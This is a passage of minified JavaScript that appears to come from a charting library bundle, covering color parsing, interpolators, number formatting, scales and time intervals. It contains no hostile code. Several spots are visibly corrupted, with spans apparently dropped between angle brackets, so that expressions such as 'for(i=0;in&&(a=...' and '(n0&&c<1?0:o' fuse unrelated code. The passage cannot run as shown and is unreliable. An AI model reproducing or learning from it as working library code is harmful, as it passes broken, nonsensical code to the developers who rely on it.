Array(i);++r>8&15|t>>4&240,t>>4&15|t&240,(t&15)<<4|t&15,1):n===8?Fl(t>>24&255,t>>16&255,t>>8&255,(t&255)/255):n===4?Fl(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|t&240,((t&15)<<4|t&15)/255):null):(t=T8.exec(e))?new Vt(t[1],t[2],t[3],1):(t=M8.exec(e))?new Vt(t[1]*255/100,t[2]*255/100,t[3]*255/100,1):(t=L8.exec(e))?Fl(t[1],t[2],t[3],t[4]):(t=I8.exec(e))?Fl(t[1]*255/100,t[2]*255/100,t[3]*255/100,t[4]):(t=D8.exec(e))?A1(t[1],t[2]/100,t[3]/100,1):(t=R8.exec(e))?A1(t[1],t[2]/100,t[3]/100,t[4]):N1.hasOwnProperty(e)?C1(N1[e]):e==="transparent"?new Vt(NaN,NaN,NaN,0):null}function C1(e){return new Vt(e>>16&255,e>>8&255,e&255,1)}function Fl(e,t,n,r){return r<=0&&(e=t=n=NaN),new Vt(e,t,n,r)}function F8(e){return e instanceof nl||(e=Ro(e)),e?(e=e.rgb(),new Vt(e.r,e.g,e.b,e.opacity)):new Vt}function ih(e,t,n,r){return arguments.length===1?F8(e):new Vt(e,t,n,r??1)}function Vt(e,t,n,r){this.r=+e,this.g=+t,this.b=+n,this.opacity=+r}Xx(Vt,ih,IN(nl,{brighter(e){return e=e==null?xu:Math.pow(xu,e),new Vt(this.r*e,this.g*e,this.b*e,this.opacity)},darker(e){return e=e==null?Io:Math.pow(Io,e),new Vt(this.r*e,this.g*e,this.b*e,this.opacity)},rgb(){return this},clamp(){return new Vt(Vi(this.r),Vi(this.g),Vi(this.b),vu(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:P1,formatHex:P1,formatHex8:W8,formatRgb:E1,toString:E1}));function P1(){return`#${$i(this.r)}${$i(this.g)}${$i(this.b)}`}function W8(){return`#${$i(this.r)}${$i(this.g)}${$i(this.b)}${$i((isNaN(this.opacity)?1:this.opacity)*255)}`}function E1(){const e=vu(this.opacity);return`${e===1?"rgb(":"rgba("}${Vi(this.r)}, ${Vi(this.g)}, ${Vi(this.b)}${e===1?")":`, ${e})`}`}function vu(e){return isNaN(e)?1:Math.max(0,Math.min(1,e))}function Vi(e){return Math.max(0,Math.min(255,Math.round(e)||0))}function $i(e){return e=Vi(e),(e<16?"0":"")+e.toString(16)}function A1(e,t,n,r){return r<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new Rn(e,t,n,r)}function DN(e){if(e instanceof Rn)return new Rn(e.h,e.s,e.l,e.opacity);if(e instanceof nl||(e=Ro(e)),!e)return new Rn;if(e instanceof Rn)return e;e=e.rgb();var t=e.r/255,n=e.g/255,r=e.b/255,i=Math.min(t,n,r),a=Math.max(t,n,r),o=NaN,l=a-i,c=(a+i)/2;return l?(t===a?o=(n-r)/l+(n0&&c<1?0:o,new Rn(o,l,c,e.opacity)}function U8(e,t,n,r){return arguments.length===1?DN(e):new Rn(e,t,n,r??1)}function Rn(e,t,n,r){this.h=+e,this.s=+t,this.l=+n,this.opacity=+r}Xx(Rn,U8,IN(nl,{brighter(e){return e=e==null?xu:Math.pow(xu,e),new Rn(this.h,this.s,this.l*e,this.opacity)},darker(e){return e=e==null?Io:Math.pow(Io,e),new Rn(this.h,this.s,this.l*e,this.opacity)},rgb(){var e=this.h%360+(this.h<0)*360,t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,r=n+(n<.5?n:1-n)*t,i=2*n-r;return new Vt(ip(e>=240?e-240:e+120,i,r),ip(e,i,r),ip(e<120?e+240:e-120,i,r),this.opacity)},clamp(){return new Rn(_1(this.h),Wl(this.s),Wl(this.l),vu(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){const e=vu(this.opacity);return`${e===1?"hsl(":"hsla("}${_1(this.h)}, ${Wl(this.s)*100}%, ${Wl(this.l)*100}%${e===1?")":`, ${e})`}`}}));function _1(e){return e=(e||0)%360,e<0?e+360:e}function Wl(e){return Math.max(0,Math.min(1,e||0))}function ip(e,t,n){return(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)*255}const Zx=e=>()=>e;function V8(e,t){return function(n){return e+n*t}}function H8(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(r){return Math.pow(e+r*t,n)}}function K8(e){return(e=+e)==1?RN:function(t,n){return n-t?H8(t,n,e):Zx(isNaN(t)?n:t)}}function RN(e,t){var n=t-e;return n?V8(e,n):Zx(isNaN(e)?t:e)}const O1=function e(t){var n=K8(t);function r(i,a){var o=n((i=ih(i)).r,(a=ih(a)).r),l=n(i.g,a.g),c=n(i.b,a.b),u=RN(i.opacity,a.opacity);return function(d){return i.r=o(d),i.g=l(d),i.b=c(d),i.opacity=u(d),i+""}}return r.gamma=e,r}(1);function q8(e,t){t||(t=[]);var n=e?Math.min(t.length,e.length):0,r=t.slice(),i;return function(a){for(i=0;in&&(a=t.slice(n,a),l[o]?l[o]+=a:l[++o]=a),(r=r[0])===(i=i[0])?l[o]?l[o]+=i:l[++o]=i:(l[++o]=null,c.push({i:o,x:gu(r,i)})),n=ap.lastIndex;return nt&&(n=e,e=t,t=n),function(r){return Math.max(e,Math.min(t,r))}}function iL(e,t,n){var r=e[0],i=e[1],a=t[0],o=t[1];return i2?aL:iL,c=u=null,f}function f(m){return m==null||isNaN(m=+m)?a:(c||(c=l(e.map(r),t,n)))(r(o(m)))}return f.invert=function(m){return o(i((u||(u=l(t,e.map(r),gu)))(m)))},f.domain=function(m){return arguments.length?(e=Array.from(m,yu),d()):e.slice()},f.range=function(m){return arguments.length?(t=Array.from(m),d()):t.slice()},f.rangeRound=function(m){return t=Array.from(m),n=Qx,d()},f.clamp=function(m){return arguments.length?(o=m?!0:Lt,d()):o!==Lt},f.interpolate=function(m){return arguments.length?(n=m,d()):n},f.unknown=function(m){return arguments.length?(a=m,f):a},function(m,h){return r=m,i=h,d()}}function Jx(){return Bd()(Lt,Lt)}function sL(e){return Math.abs(e=Math.round(e))>=1e21?e.toLocaleString("en").replace(/,/g,""):e.toString(10)}function bu(e,t){if(!isFinite(e)||e===0)return null;var n=(e=t?e.toExponential(t-1):e.toExponential()).indexOf("e"),r=e.slice(0,n);return[r.length>1?r[0]+r.slice(2):r,+e.slice(n+1)]}function Ja(e){return e=bu(Math.abs(e)),e?e[1]:NaN}function oL(e,t){return function(n,r){for(var i=n.length,a=[],o=0,l=e[0],c=0;i>0&&l>0&&(c+l+1>r&&(l=Math.max(1,r-c)),a.push(n.substring(i-=l,i+l)),!((c+=l+1)>r));)l=e[o=(o+1)%e.length];return a.reverse().join(t)}}function lL(e){return function(t){return t.replace(/[0-9]/g,function(n){return e[+n]})}}var cL=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function $o(e){if(!(t=cL.exec(e)))throw new Error("invalid format: "+e);var t;return new e0({fill:t[1],align:t[2],sign:t[3],symbol:t[4],zero:t[5],width:t[6],comma:t[7],precision:t[8]&&t[8].slice(1),trim:t[9],type:t[10]})}$o.prototype=e0.prototype;function e0(e){this.fill=e.fill===void 0?" ":e.fill+"",this.align=e.align===void 0?">":e.align+"",this.sign=e.sign===void 0?"-":e.sign+"",this.symbol=e.symbol===void 0?"":e.symbol+"",this.zero=!!e.zero,this.width=e.width===void 0?void 0:+e.width,this.comma=!!e.comma,this.precision=e.precision===void 0?void 0:+e.precision,this.trim=!!e.trim,this.type=e.type===void 0?"":e.type+""}e0.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type};function uL(e){e:for(var t=e.length,n=1,r=-1,i;n0&&(r=0);break}return r>0?e.slice(0,r)+e.slice(i+1):e}var wu;function dL(e,t){var n=bu(e,t);if(!n)return wu=void 0,e.toPrecision(t);var r=n[0],i=n[1],a=i-(wu=Math.max(-8,Math.min(8,Math.floor(i/3)))*3)+1,o=r.length;return a===o?r:a>o?r+new Array(a-o+1).join("0"):a>0?r.slice(0,a)+"."+r.slice(a):"0."+new Array(1-a).join("0")+bu(e,Math.max(0,t+a-1))[0]}function M1(e,t){var n=bu(e,t);if(!n)return e+"";var r=n[0],i=n[1];return i<0?"0."+new Array(-i).join("0")+r:r.length>i+1?r.slice(0,i+1)+"."+r.slice(i+1):r+new Array(i-r.length+2).join("0")}const L1={"%":(e,t)=>(e*100).toFixed(t),b:e=>Math.round(e).toString(2),c:e=>e+"",d:sL,e:(e,t)=>e.toExponential(t),f:(e,t)=>e.toFixed(t),g:(e,t)=>e.toPrecision(t),o:e=>Math.round(e).toString(8),p:(e,t)=>M1(e*100,t),r:M1,s:dL,X:e=>Math.round(e).toString(16).toUpperCase(),x:e=>Math.round(e).toString(16)};function I1(e){return e}var D1=Array.prototype.map,R1=["y","z","a","f","p","n","µ","m","","k","M","G","T","P","E","Z","Y"];function fL(e){var t=e.grouping===void 0||e.thousands===void 0?I1:oL(D1.call(e.grouping,Number),e.thousands+""),n=e.currency===void 0?"":e.currency[0]+"",r=e.currency===void 0?"":e.currency[1]+"",i=e.decimal===void 0?".":e.decimal+"",a=e.numerals===void 0?I1:lL(D1.call(e.numerals,String)),o=e.percent===void 0?"%":e.percent+"",l=e.minus===void 0?"−":e.minus+"",c=e.nan===void 0?"NaN":e.nan+"";function u(f,m){f=$o(f);var h=f.fill,x=f.align,g=f.sign,y=f.symbol,v=f.zero,b=f.width,w=f.comma,j=f.precision,k=f.trim,S=f.type;S==="n"?(w=!0,S="g"):L1[S]||(j===void 0&&(j=12),k=!0,S="g"),(v||h==="0"&&x==="=")&&(v=!0,h="0",x="=");var N=(m&&m.prefix!==void 0?m.prefix:"")+(y==="$"?n:y==="#"&&/[boxX]/.test(S)?"0"+S.toLowerCase():""),z=(y==="$"?r:/[%p]/.test(S)?o:"")+(m&&m.suffix!==void 0?m.suffix:""),_=L1[S],A=/[defgprs%]/.test(S);j=j===void 0?6:/[gprs]/.test(S)?Math.max(1,Math.min(21,j)):Math.max(0,Math.min(20,j));function O(P){var I=N,U=z,D,M,F;if(S==="c")U=_(P)+U,P="";else{P=+P;var R=P<0||1/P<0;if(P=isNaN(P)?c:_(Math.abs(P),j),k&&(P=uL(P)),R&&+P==0&&g!=="+"&&(R=!1),I=(R?g==="("?g:l:g==="-"||g==="("?"":g)+I,U=(S==="s"&&!isNaN(P)&&wu!==void 0?R1[8+wu/3]:"")+U+(R&&g==="("?")":""),A){for(D=-1,M=P.length;++DF||F>57){U=(F===46?i+P.slice(D+1):P.slice(D))+U,P=P.slice(0,D);break}}}w&&!v&&(P=t(P,1/0));var W=I.length+P.length+U.length,$=W>1)+I+P+U+$.slice(W);break;default:P=$+I+P+U;break}return a(P)}return O.toString=function(){return f+""},O}function d(f,m){var h=Math.max(-8,Math.min(8,Math.floor(Ja(m)/3)))*3,x=Math.pow(10,-h),g=u((f=$o(f),f.type="f",f),{suffix:R1[8+h/3]});return function(y){return g(x*y)}}return{format:u,formatPrefix:d}}var Ul,t0,$N;pL({thousands:",",grouping:[3],currency:["$",""]});function pL(e){return Ul=fL(e),t0=Ul.format,$N=Ul.formatPrefix,Ul}function mL(e){return Math.max(0,-Ja(Math.abs(e)))}function hL(e,t){return Math.max(0,Math.max(-8,Math.min(8,Math.floor(Ja(t)/3)))*3-Ja(Math.abs(e)))}function xL(e,t){return e=Math.abs(e),t=Math.abs(t)-e,Math.max(0,Ja(t)-Ja(e))+1}function BN(e,t,n,r){var i=nh(e,t,n),a;switch(r=$o(r??",f"),r.type){case"s":{var o=Math.max(Math.abs(e),Math.abs(t));return r.precision==null&&!isNaN(a=hL(i,o))&&(r.precision=a),$N(r,o)}case"":case"e":case"g":case"p":case"r":{r.precision==null&&!isNaN(a=xL(i,Math.max(Math.abs(e),Math.abs(t))))&&(r.precision=a-(r.type==="e"));break}case"f":case"%":{r.precision==null&&!isNaN(a=mL(i))&&(r.precision=a-(r.type==="%")*2);break}}return t0(r)}function ji(e){var t=e.domain;return e.ticks=function(n){var r=t();return eh(r[0],r[r.length-1],n??10)},e.tickFormat=function(n,r){var i=t();return BN(i[0],i[i.length-1],n??10,r)},e.nice=function(n){n==null&&(n=10);var r=t(),i=0,a=r.length-1,o=r[i],l=r[a],c,u,d=10;for(l0;){if(u=th(o,l,n),u===c)return r[i]=o,r[a]=l,t(r);if(u>0)o=Math.floor(o/u)*u,l=Math.ceil(l/u)*u;else if(u<0)o=Math.ceil(o*u)/u,l=Math.floor(l*u)/u;else break;c=u}return e},e}function FN(){var e=Jx();return e.copy=function(){return rl(e,FN())},Pn.apply(e,arguments),ji(e)}function WN(e){var t;function n(r){return r==null||isNaN(r=+r)?t:r}return n.invert=n,n.domain=n.range=function(r){return arguments.length?(e=Array.from(r,yu),n):e.slice()},n.unknown=function(r){return arguments.length?(t=r,n):t},n.copy=function(){return WN(e).unknown(t)},e=arguments.length?Array.from(e,yu):[0,1],ji(n)}function UN(e,t){e=e.slice();var n=0,r=e.length-1,i=e[n],a=e[r],o;return aMath.pow(e,t)}function wL(e){return e===Math.E?Math.log:e===10&&Math.log10||e===2&&Math.log2||(e=Math.log(e),t=>Math.log(t)/e)}function F1(e){return(t,n)=>-e(-t,n)}function n0(e){const t=e($1,B1),n=t.domain;let r=10,i,a;function o(){return i=wL(r),a=bL(r),n()[0]<0?(i=F1(i),a=F1(a),e(vL,gL)):e($1,B1),t}return t.base=function(l){return arguments.length?(r=+l,o()):r},t.domain=function(l){return arguments.length?(n(l),o()):n()},t.ticks=l=>{const c=n();let u=c[0],d=c[c.length-1];const f=d0){for(;m<=h;++m)for(x=1;xd)break;v.push(g)}}else for(;m<=h;++m)for(x=r-1;x>=1;--x)if(g=m>0?x/a(-m):x*a(m),!(gd)break;v.push(g)}v.length*2{if(l==null&&(l=10),c==null&&(c=r===10?"s":","),typeof c!="function"&&(!(r%1)&&(c=$o(c)).precision==null&&(c.trim=!0),c=t0(c)),l===1/0)return c;const u=Math.max(1,r*l/t.ticks().length);return d=>{let f=d/a(Math.round(i(d)));return f*rn(UN(n(),{floor:l=>a(Math.floor(i(l))),ceil:l=>a(Math.ceil(i(l)))})),t}function VN(){const e=n0(Bd()).domain([1,10]);return e.copy=()=>rl(e,VN()).base(e.base()),Pn.apply(e,arguments),e}function W1(e){return function(t){return Math.sign(t)*Math.log1p(Math.abs(t/e))}}function U1(e){return function(t){return Math.sign(t)*Math.expm1(Math.abs(t))*e}}function r0(e){var t=1,n=e(W1(t),U1(t));return n.constant=function(r){return arguments.length?e(W1(t=+r),U1(t)):t},ji(n)}function HN(){var e=r0(Bd());return e.copy=function(){return rl(e,HN()).constant(e.constant())},Pn.apply(e,arguments)}function V1(e){return function(t){return t<0?-Math.pow(-t,e):Math.pow(t,e)}}function jL(e){return e<0?-Math.sqrt(-e):Math.sqrt(e)}function kL(e){return e<0?-e*e:e*e}function i0(e){var t=e(Lt,Lt),n=1;function r(){return n===1?e(Lt,Lt):n===.5?e(jL,kL):e(V1(n),V1(1/n))}return t.exponent=function(i){return arguments.length?(n=+i,r()):n},ji(t)}function a0(){var e=i0(Bd());return e.copy=function(){return rl(e,a0()).exponent(e.exponent())},Pn.apply(e,arguments),e}function NL(){return a0.apply(null,arguments).exponent(.5)}function H1(e){return Math.sign(e)*e*e}function SL(e){return Math.sign(e)*Math.sqrt(Math.abs(e))}function KN(){var e=Jx(),t=[0,1],n=!1,r;function i(a){var o=SL(e(a));return isNaN(o)?r:n?Math.round(o):o}return i.invert=function(a){return e.invert(H1(a))},i.domain=function(a){return arguments.length?(e.domain(a),i):e.domain()},i.range=function(a){return arguments.length?(e.range((t=Array.from(a,yu)).map(H1)),i):t.slice()},i.rangeRound=function(a){return i.range(a).round(!0)},i.round=function(a){return arguments.length?(n=!!a,i):n},i.clamp=function(a){return arguments.length?(e.clamp(a),i):e.clamp()},i.unknown=function(a){return arguments.length?(r=a,i):r},i.copy=function(){return KN(e.domain(),t).round(n).clamp(e.clamp()).unknown(r)},Pn.apply(i,arguments),ji(i)}function qN(){var e=[],t=[],n=[],r;function i(){var o=0,l=Math.max(1,t.length);for(n=new Array(l-1);++o0?n[l-1]:e[0],l=n?[r[n-1],t]:[r[u-1],r[u]]},o.unknown=function(c){return arguments.length&&(a=c),o},o.thresholds=function(){return r.slice()},o.copy=function(){return YN().domain([e,t]).range(i).unknown(a)},Pn.apply(ji(o),arguments)}function GN(){var e=[.5],t=[0,1],n,r=1;function i(a){return a!=null&&a<=a?t[tl(e,a,0,r)]:n}return i.domain=function(a){return arguments.length?(e=Array.from(a),r=Math.min(e.length,t.length-1),i):e.slice()},i.range=function(a){return arguments.length?(t=Array.from(a),r=Math.min(e.length,t.length-1),i):t.slice()},i.invertExtent=function(a){var o=t.indexOf(a);return[e[o-1],e[o]]},i.unknown=function(a){return arguments.length?(n=a,i):n},i.copy=function(){return GN().domain(e).range(t).unknown(n)},Pn.apply(i,arguments)}const sp=new Date,op=new Date;function pt(e,t,n,r){function i(a){return e(a=arguments.length===0?new Date:new Date(+a)),a}return i.floor=a=>(e(a=new Date(+a)),a),i.ceil=a=>(e(a=new Date(a-1)),t(a,1),e(a),a),i.round=a=>{const o=i(a),l=i.ceil(a);return a-o(t(a=new Date(+a),o==null?1:Math.floor(o)),a),i.range=(a,o,l)=>{const c=[];if(a=i.ceil(a),l=l==null?1:Math.floor(l),!(a0))return c;let u;do c.push(u=new Date(+a)),t(a,l),e(a);while(upt(o=>{if(o>=o)for(;e(o),!a(o);)o.setTime(o-1)},(o,l)=>{if(o>=o)if(l<0)for(;++l<=0;)for(;t(o,-1),!a(o););else for(;--l>=0;)for(;t(o,1),!a(o););}),n&&(i.count=(a,o)=>(sp.setTime(+a),op.setTime(+o),e(sp),e(op),Math.floor(n(sp,op))),i.every=a=>(a=Math.floor(a),!isFinite(a)||!(a>0)?null:a>1?i.filter(r?o=>r(o)%a===0:o=>i.count(0,o)%a===0):i)),i}const ju=pt(()=>{},(e,t)=>{e.setTime(+e+t)},(e,t)=>t-e);ju.every=e=>(e=Math.floor(e),!isFinite(e)||!(e>0)?null:e>1?pt(t=>{t.setTime(Math.floor(t/e)*e)},(t,n)=>{t.setTime(+t+n*e)},(t,n)=>(n-t)/e):ju);ju.range;const yr=1e3,jn=yr*60,br=jn*60,Ar=br*24,s0=Ar*7,K1=Ar*30,lp=Ar*365,Bi=pt(e=>{e.setTime(e-e.getMilliseconds())},(e,t)=>{e.setTime(+e+t*yr)},(e,t)=>(t-e)/yr,e=>e.getUTCSeconds());Bi.range;const o0=pt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*yr)},(e,t)=>{e.setTime(+e+t*jn)},(e,t)=>(t-e)/jn,e=>e.getMinutes());o0.range;const l0=pt(e=>{e.setUTCSeconds(0,0)},(e,t)=>{e.setTime(+e+t*jn)},(e,t)=>(t-e)/jn,e=>e.getUTCMinutes());l0.range;const c0=pt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*yr-e.getMinutes()*jn)},(e,t)=>{e.setTime(+e+t*br)},(e,t)=>(t-e)/br,e=>e.getHours());c0.range;const u0=pt(e=>{e.setUTCMinutes(0,0,0)},(e,t)=>{e.setTime(+e+t*br)},(e,t)=>(t-e)/br,e=>e.getUTCHours());u0.range;const il=pt(e=>e.setHours(0,0,0,0),(e,t)=>e.setDate(e.getDate()+t),(e,t)=>(t-e-(t.getTimezoneOffset()-e.getTimezoneOffset())*jn)/Ar,e=>e.getDate()-1);il.range;const Fd=pt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Ar,e=>e.getUTCDate()-1);Fd.range;const XN=pt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Ar,e=>Math.floor(e/Ar));XN.range;function ca(e){return pt(t=>{t.setDate(t.getDate()-(t.getDay()+7-e)%7),t.setHours(0,0,0,0)},(t,n)=>{t.setDate(t.getDate()+n*7)},(t,n)=>(n-t-(n.getTimezoneOffset()-t.getTimezoneOffset())*jn)/s0)}const Wd=ca(0),ku=ca(1),zL=ca(2),CL=ca(3),es=ca(4),PL=ca(5),EL=ca(6);Wd.range;ku.range;zL.range;CL.range;es.range;PL.range;EL.range;function ua(e){return pt(t=>{t.setUTCDate(t.getUTCDate()-(t.getUTCDay()+7-e)%7),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCDate(t.getUTCDate()+n*7)},(t,n)=>(n-t)/s0)}const Ud=ua(0),Nu=ua(1),AL=ua(2),_L=ua(3),ts=ua(4),OL=ua(5),TL=ua(6);Ud.range;Nu.range;AL.range;_L.range;ts.range;OL.range;TL.range;const d0=pt(e=>{e.setDate(1),e.setHours(0,0,0,0)},(e,t)=>{e.setMonth(e.getMonth()+t)},(e,t)=>t.getMonth()-e.getMonth()+(t.getFullYear()-e.getFullYear())*12,e=>e.getMonth());d0.range;const f0=pt(e=>{e.setUTCDate(1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCMonth(e.getUTCMonth()+t)},(e,t)=>t.getUTCMonth()-e.getUTCMonth()+(t.getUTCFullYear()-e.getUTCFullYear())*12,e=>e.getUTCMonth());f0.range;const _r=pt(e=>{e.setMonth(0,1),e.setHours(0,0,0,0)},(e,t)=>{e.setFullYear(e.getFullYear()+t)},(e,t)=>t.getFullYear()-e.getFullYear(),e=>e.getFullYear());_r.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:pt(t=>{t.setFullYear(Math.floor(t.getFullYear()/e)*e),t.setMonth(0,1),t.setHours(0,0,0,0)},(t,n)=>{t.setFullYear(t.getFullYear()+n*e)});_r.range;const Or=pt(e=>{e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCFullYear(e.getUTCFullYear()+t)},(e,t)=>t.getUTCFullYear()-e.getUTCFullYear(),e=>e.getUTCFullYear());Or.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:pt(t=>{t.setUTCFullYear(Math.floor(t.getUTCFullYear()/e)*e),t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCFullYear(t.getUTCFullYear()+n*e)});Or.range;function ZN(e,t,n,r,i,a){const o=[[Bi,1,yr],[Bi,5,5*yr],[Bi,15,15*yr],[Bi,30,30*yr],[a,1,jn],[a,5,5*jn],[a,15,15*jn],[a,30,30*jn],[i,1,br],[i,3,3*br],[i,6,6*br],[i,12,12*br],[r,1,Ar],[r,2,2*Ar],[n,1,s0],[t,1,K1],[t,3,3*K1],[e,1,lp]];function l(u,d,f){const m=dy).right(o,m);if(h===o.length)return e.every(nh(u/lp,d/lp,f));if(h===0)return ju.every(Math.max(nh(u,d,f),1));const[x,g]=o[m/o[h-1][2]53)return null;"w"in B||(B.w=1),"Z"in B?(ve=up(Ls(B.y,0,1)),we=ve.getUTCDay(),ve=we>4||we===0?Nu.ceil(ve):Nu(ve),ve=Fd.offset(ve,(B.V-1)*7),B.y=ve.getUTCFullYear(),B.m=ve.getUTCMonth(),B.d=ve.getUTCDate()+(B.w+6)%7):(ve=cp(Ls(B.y,0,1)),we=ve.getDay(),ve=we>4||we===0?ku.ceil(ve):ku(ve),ve=il.offset(ve,(B.V-1)*7),B.y=ve.getFullYear(),B.m=ve.getMonth(),B.d=ve.getDate()+(B.w+6)%7)}else("W"in B||"U"in B)&&("w"in B||(B.w="u"in B?B.u%7:"W"in B?1:0),we="Z"in B?up(Ls(B.y,0,1)).getUTCDay():cp(Ls(B.y,0,1)).getDay(),B.m=0,B.d="W"in B?(B.w+6)%7+B.W*7-(we+5)%7:B.w+B.U*7-(we+6)%7);return"Z"in B?(B.H+=B.Z/100|0,B.M+=B.Z%100,up(B)):cp(B)}}function z(C,K,ne,B){for(var ie=0,ve=K.length,we=ne.length,_e,L;ie=we)return-1;if(_e=K.charCodeAt(ie++),_e===37){if(_e=K.charAt(ie++),L=k[_e in q1?K.charAt(ie++):_e],!L||(B=L(C,ne,B))<0)return-1}else if(_e!=ne.charCodeAt(B++))return-1}return B}function _(C,K,ne){var B=u.exec(K.slice(ne));return B?(C.p=d.get(B[0].toLowerCase()),ne+B[0].length):-1}function A(C,K,ne){var B=h.exec(K.slice(ne));return B?(C.w=x.get(B[0].toLowerCase()),ne+B[0].length):-1}function O(C,K,ne){var B=f.exec(K.slice(ne));return B?(C.w=m.get(B[0].toLowerCase()),ne+B[0].length):-1}function P(C,K,ne){var B=v.exec(K.slice(ne));return B?(C.m=b.get(B[0].toLowerCase()),ne+B[0].length):-1}function I(C,K,ne){var B=g.exec(K.slice(ne));return B?(C.m=y.get(B[0].toLowerCase()),ne+B[0].length):-1}function U(C,K,ne){return z(C,t,K,ne)}function D(C,K,ne){return z(C,n,K,ne)}function M(C,K,ne){return z(C,r,K,ne)}function F(C){return o[C.getDay()]}function R(C){return a[C.getDay()]}function W(C){return c[C.getMonth()]}function $(C){return l[C.getMonth()]}function H(C){return i[+(C.getHours()>=12)]}function X(C){return 1+~~(C.getMonth()/3)}function se(C){return o[C.getUTCDay()]}function ue(C){return a[C.getUTCDay()]}function ge(C){return c[C.getUTCMonth()]}function xe(C){return l[C.getUTCMonth()]}function Y(C){return i[+(C.getUTCHours()>=12)]}function ee(C){return 1+~~(C.getUTCMonth()/3)}return{format:function(C){var K=S(C+="",w);return K.toString=function(){return C},K},parse:function(C){var K=N(C+="",!1);return K.toString=function(){return C},K},utcFormat:function(C){var K=S(C+="",j);return K.toString=function(){return C},K},utcParse:function(C){var K=N(C+="",!0);return K.toString=function(){return C},K}}}var q1={"-":"",_:" ",0:"0"},bt=/^\s*\d+/,$L=/^%/,BL=/[\\^$*+?|[\]().{}]/g;function Ce(e,t,n){var r=e<0?"-":"",i=(r?-e:e)+"",a=i.length;return r+(a[t.toLowerCase(),n]))}function WL(e,t,n){var r=bt.exec(t.slice(n,n+1));return r?(e.w=+r[0],n+r[0].length):-1}function UL(e,t,n){var r=bt.exec(t.slice(n,n+1));return r?(e.u=+r[0],n+r[0].length):-1}function VL(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.U=+r[0],n+r[0].length):-1}function HL(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.V=+r[0],n+r[0].length):-1}function KL(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.W=+r[0],n+r[0].length):-1}function Y1(e,t,n){var r=bt.exec(t.slice(n,n+4));return r?(e.y=+r[0],n+r[0].length):-1}function G1(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.y=+r[0]+(+r[0]>68?1900:2e3),n+r[0].length):-1}function qL(e,t,n){var r=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(t.slice(n,n+6));return r?(e.Z=r[1]?0:-(r[2]+(r[3]||"00")),n+r[0].length):-1}function YL(e,t,n){var r=bt.exec(t.slice(n,n+1));return r?(e.q=r[0]*3-3,n+r[0].length):-1}function GL(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.m=r[0]-1,n+r[0].length):-1}function X1(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.d=+r[0],n+r[0].length):-1}function XL(e,t,n){var r=bt.exec(t.slice(n,n+3));return r?(e.m=0,e.d=+r[0],n+r[0].length):-1}function Z1(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.H=+r[0],n+r[0].length):-1}function ZL(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.M=+r[0],n+r[0].length):-1}function QL(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.S=+r[0],n+r[0].length):-1}function JL(e,t,n){var r=bt.exec(t.slice(n,n+3));return r?(e.L=+r[0],n+r[0].length):-1}function e7(e,t,n){var r=bt.exec(t.slice(n,n+6));return r?(e.L=Math.floor(r[0]/1e3),n+r[0].length):-1}function t7(e,t,n){var r=$L.exec(t.slice(n,n+1));return r?n+r[0].length:-1}function n7(e,t,n){var r=bt.exec(t.slice(n));return r?(e.Q=+r[0],n+r[0].length):-1}function r7(e,t,n){var r=bt.exec(t.slice(n));return r?(e.s=+r[0],n+r[0].length):-1}function Q1(e,t){return Ce(e.getDate(),t,2)}function i7(e,t){return Ce(e.getHours(),t,2)}function a7(e,t){return Ce(e.getHours()%12||12,t,2)}function s7(e,t){return Ce(1+il.count(_r(e),e),t,3)}function QN(e,t){return Ce(e.getMilliseconds(),t,3)}function o7(e,t){return QN(e,t)+"000"}function l7(e,t){return Ce(e.getMonth()+1,t,2)}function c7(e,t){return Ce(e.getMinutes(),t,2)}function u7(e,t){return Ce(e.getSeconds(),t,2)}function d7(e){var t=e.getDay();return t===0?7:t}function f7(e,t){return Ce(Wd.count(_r(e)-1,e),t,2)}function JN(e){var t=e.getDay();return t>=4||t===0?es(e):es.ceil(e)}function p7(e,t){return e=JN(e),Ce(es.count(_r(e),e)+(_r(e).getDay()===4),t,2)}function m7(e){return e.getDay()}function h7(e,t){return Ce(ku.count(_r(e)-1,e),t,2)}function x7(e,t){return Ce(e.getFullYear()%100,t,2)}function v7(e,t){return e=JN(e),Ce(e.getFullYear()%100,t,2)}function g7(e,t){return Ce(e.getFullYear()%1e4,t,4)}function y7(e,t){var n=e.getDay();return 